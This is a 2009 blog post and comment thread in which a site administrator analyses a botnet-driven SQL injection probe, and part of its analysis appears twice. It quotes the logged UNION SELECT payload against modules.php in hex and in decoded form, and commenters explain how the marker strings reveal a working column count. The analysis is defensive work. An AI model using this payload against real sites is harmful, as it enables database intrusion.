On 3/8/09 from 10:56 GMT to 11:40 GMT, the website I help run received over 3100 SQL injection attacks from close to 2 dozen IP addresses. The query received this time was:
/modules.php?name=-1+AND+2=2+UNION+ALL+SELECT+0x3065376332613738353864303833656636636535323337343330636466343033,
0x3a3a7865512d312d7465643a3a,0x3a3a7865512d322d7465643a3a,0x3a3a7865512d332d7465643a3a,0x3a3a7865512d342d7465643a3a,
0x3a3a7865512d352d7465643a3a,0x3a3a7865512d362d7465643a3a,0x3a3a7865512d372d7465643a3a,0x3a3a7865512d382d7465643a3a,
0x3a3a7865512d392d7465643a3a,0x3a3a7865512d31302d7465643a3a,0x3a3a7865512d31312d7465643a3a,0x3a3a7865512d31322d7465643a3a,
0x3a3a7865512d31332d7465643a3a,0x3a3a7865512d31342d7465643a3a,0x3a3a7865512d31352d7465643a3a,0x3a3a7865512d31362d7465643a3a,
0x3a3a7865512d31372d7465643a3a,0x3a3a7865512d31382d7465643a3a,0x3a3a7865512d31392d7465643a3a,0x3a3a7865512d32302d7465643a3a,
0x3a3a7865512d32312d7465643a3a,0x3a3a7865512d32322d7465643a3a,0x3a3a7865512d32332d7465643a3a,0x3a3a7865512d32342d7465643a3a,
0x3a3a7865512d32352d7465643a3a,0x3a3a7865512d32362d7465643a3a,0x3a3a7865512d32372d7465643a3a,0x3a3a7865512d32382d7465643a3a,
0x3a3a7865512d32392d7465643a3a,0x3a3a7865512d33302d7465643a3a,0x3a3a7865512d33312d7465643a3a,0x3a3a7865512d33322d7465643a3a,
0x3a3a7865512d33332d7465643a3a,0x3a3a7865512d33342d7465643a3a,0x3a3a7865512d33352d7465643a3a,0x3a3a7865512d33362d7465643a3a,
0x3a3a7865512d33372d7465643a3a,0x3a3a7865512d33382d7465643a3a,0x3a3a7865512d33392d7465643a3a,0x3a3a7865512d34302d7465643a3a,
0x3a3a7865512d34312d7465643a3a,0x3a3a7865512d34322d7465643a3a,0x3a3a7865512d34332d7465643a3a,0x3a3a7865512d34342d7465643a3a,
0x3a3a7865512d34352d7465643a3a,0x3a3a7865512d34362d7465643a3a,0x3a3a7865512d34372d7465643a3a--
The User-Agent this time was Mozilla/5.0.
There are a couple interesting things to note on this attack. First is the use of the double-dashes at the end of the SQL injection. Double-dashes are used in MySQL and SQL Server queries to comment out and ignore the rest of the line.
Next, if we assume that the hex values decode into the attack then the database being attacked must decode them somehow. Since the SQL does not use a CAST operator, which SQL Server requires to convert hex into characters, and only has the hex values, then we can infer the database being attacked is MySQL. (Note that I'm basing some of this on my knowledge and previous use of SQL injection attacks from my job - I could very well be wrong on this.)
The hex encoded values are interesting. If we decode them from hex into ASCII characters, we get the following query:
/modules.php?name=-1+AND+2=2+UNION+ALL+SELECT+0e7c2a7858d083ef6ce5237430cdf403,
::xeQ-1-ted::,::xeQ-2-ted::,::xeQ-3-ted::,::xeQ-4-ted::,::xeQ-5-ted::,::xeQ-6-ted::,
::xeQ-7-ted::,::xeQ-8-ted::,::xeQ-9-ted::,::xeQ-10-ted::,::xeQ-11-ted::,::xeQ-12-ted::,
::xeQ-13-ted::,::xeQ-14-ted::,::xeQ-15-ted::,::xeQ-16-ted::,::xeQ-17-ted::,::xeQ-18-ted::,::xeQ-19-ted::,::xeQ-20-ted::,::xeQ-21-ted::,
::xeQ-22-ted::,::xeQ-23-ted::,::xeQ-24-ted::,::xeQ-25-ted::,::xeQ-26-ted::,::xeQ-27-ted::,::xeQ-28-ted::,
::xeQ-29-ted::,::xeQ-30-ted::,::xeQ-31-ted::,::xeQ-32-ted::,::xeQ-33-ted::,::xeQ-34-ted::,::xeQ-35-ted::,
::xeQ-36-ted::,::xeQ-37-ted::,::xeQ-38-ted::,::xeQ-39-ted::,::xeQ-40-ted::,::xeQ-41-ted::,::xeQ-42-ted::,
::xeQ-43-ted::,::xeQ-44-ted::,::xeQ-45-ted::,::xeQ-46-ted::,::xeQ-47-ted::--
I'll admit that this has me stumped. Due to the pattern, the hex appears to be decoded correctly. However, I cannot make heads or tails of what is being attempted here. Interestingly, googling for "::xeQ-1-ted::" brings up a number of entries which look like an attack similiar to this one may have succeeded on other sites.
So, anyone have any ideas for this one?
There are a couple interesting things to note on this attack. First is the use of the double-dashes at the end of the SQL injection. Double-dashes are used in MySQL and SQL Server queries to comment out and ignore the rest of the line.
Next, if we assume that the hex values decode into the attack then the database being attacked must decode them somehow. Since the SQL does not use a CAST operator, which SQL Server requires to convert hex into characters, and only has the hex values, then we can infer the database being attacked is MySQL. (Note that I'm basing some of this on my knowledge and previous use of SQL injection attacks from my job - I could very well be wrong on this.)
The hex encoded values are interesting. If we decode them from hex into ASCII characters, we get the following query:
/modules.php?name=-1+AND+2=2+UNION+ALL+SELECT+0e7c2a7858d083ef6ce5237430cdf403,
::xeQ-1-ted::,::xeQ-2-ted::,::xeQ-3-ted::,::xeQ-4-ted::,::xeQ-5-ted::,::xeQ-6-ted::,
::xeQ-7-ted::,::xeQ-8-ted::,::xeQ-9-ted::,::xeQ-10-ted::,::xeQ-11-ted::,::xeQ-12-ted::,
::xeQ-13-ted::,::xeQ-14-ted::,::xeQ-15-ted::,::xeQ-16-ted::,::xeQ-17-ted::,::xeQ-18-ted::,::xeQ-19-ted::,::xeQ-20-ted::,::xeQ-21-ted::,
::xeQ-22-ted::,::xeQ-23-ted::,::xeQ-24-ted::,::xeQ-25-ted::,::xeQ-26-ted::,::xeQ-27-ted::,::xeQ-28-ted::,
::xeQ-29-ted::,::xeQ-30-ted::,::xeQ-31-ted::,::xeQ-32-ted::,::xeQ-33-ted::,::xeQ-34-ted::,::xeQ-35-ted::,
::xeQ-36-ted::,::xeQ-37-ted::,::xeQ-38-ted::,::xeQ-39-ted::,::xeQ-40-ted::,::xeQ-41-ted::,::xeQ-42-ted::,
::xeQ-43-ted::,::xeQ-44-ted::,::xeQ-45-ted::,::xeQ-46-ted::,::xeQ-47-ted::--
I'll admit that this has me stumped. Due to the pattern, the hex appears to be decoded correctly. However, I cannot make heads or tails of what is being attempted here. Interestingly, googling for "::xeQ-1-ted::" brings up a number of entries which look like an attack similiar to this one may have succeeded on other sites.
So, anyone have any ideas for this one?
6 comments:
With that sql, an atacker can easily identify which query has been successfully executed (after executing many incrementing the number of parameters), by simply look at the result page and searching for those strange names. They are indeed strange because they need to be easily noticed on that result page.
Wow...great point! In the Google searches I found that is exactly what it looks like.
Lately there has been some discussion at SecureState around these attacks...one approach was using game theory, and less technical analysis...with that being said, I'm fairly confident that we can point this to bot nets, and here is why:
Assume "::xeQ-1-ted::" to be a variation of a handle or screen name...
With that, do some google searches:
http://www.google.com/search?hl=en&safe=off&q=%22xeQted%22&btnG=Search
and
http://www.google.com/search?hl=en&safe=off&rlz=1G1GGLQ_ENUS318&q=%22xeQter%22+-xecuter&btnG=Search
and reveal lots of info like:
http://74.125.95.132/search?q=cache:xWUW4Dg3e6oJ:putih.web.id/forum/viewtopic.php%3Fid%3D483+%22xeQted%22&cd=3&hl=en&ct=clnk&gl=us
http://74.125.95.132/search?q=cache:k3m_IWEtEEAJ:spl0itz.net/board/viewtopic.php%3Ff%3D20%26t%3D341+%22xeQted%22&cd=4&hl=en&ct=clnk&gl=us
http://osdir.com/ml/org.user-groups.linux.twincling/2007-11/msg00051.html
http://www.mail-archive.com/botnets@whitestar.linuxbox.org/msg00800.html
etc.
As far as the attacks being successful or not is a different story, but I think the source may be a little more understood.
Thoughts?
Scott,
I'm also convinced its from a botnet, if nothing else from the sheer number of hits I got. I didn't post it but we got hit with another. I attempted to block the hosts via IPTables, but as soon as I'd block 10, 10 more would hit us. Definitely a botnet.
It was definitely not successful on our site, but as you can see from various Google searches it did work on others.
I found your post while attempting to decipher my own attacks and was wondering if you could help me by pointing me towards a converter that can help me decipher the input, for example: 0x27,0x7c,0x5f,0x7c ?
Any help would be appreciated.
thanks,
json
It is just hex represenation of ascii characters...
See http://home2.paulschou.net/tools/xlate/ for several conversion options...
Post a Comment